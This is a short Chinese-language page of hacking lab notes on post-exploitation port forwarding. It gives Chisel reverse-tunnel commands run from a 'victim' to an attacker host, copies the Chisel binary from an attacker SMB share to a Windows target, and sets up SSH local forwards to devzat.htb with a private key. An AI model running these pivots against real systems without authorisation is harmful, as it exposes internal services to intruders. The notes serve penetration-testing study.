> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/post-exploitation/port-forwarding-techniques.md).
# 端口转发技术
{% hint style="info" %}
**端口转发** 是一种网络技术，它将连接从一台机器上的特定端口重定向到另一台机器或端口。这通常用于通过防火墙或路由器从外部访问内部服务。
{% endhint %}
在受害者机器上，将 Chisel 客户端配置为将 631 端口转发回攻击机：
```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```
### Windows
{% embed url="" %}
**下载并准备文件：**/ 我们下载了压缩的 **Chisel** 文件，即：
* `chisel-linux`
* `chisel-windows.exe`
{% embed url="" %}
{% embed url="" %}
解压文件后，将 **Chisel** 二进制文件传输到 Windows 目标机：
```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```
**使用 Chisel 在攻击机上监听：**/ 启动 **Chisel** 在攻击机上的 8888 端口以服务器模式：
```bash
./chisel-linux server -p 8888 -reverse
```
然后，在 Windows 机器上，执行 **Chisel** 以客户端模式，并将 5985 端口转发回攻击机：
```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```
## SSH：
我们将内部端口转发到我们的机器，并使用私钥并设置正确的权限：
```bash
chmod 600 id_rsa
```
```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```
---
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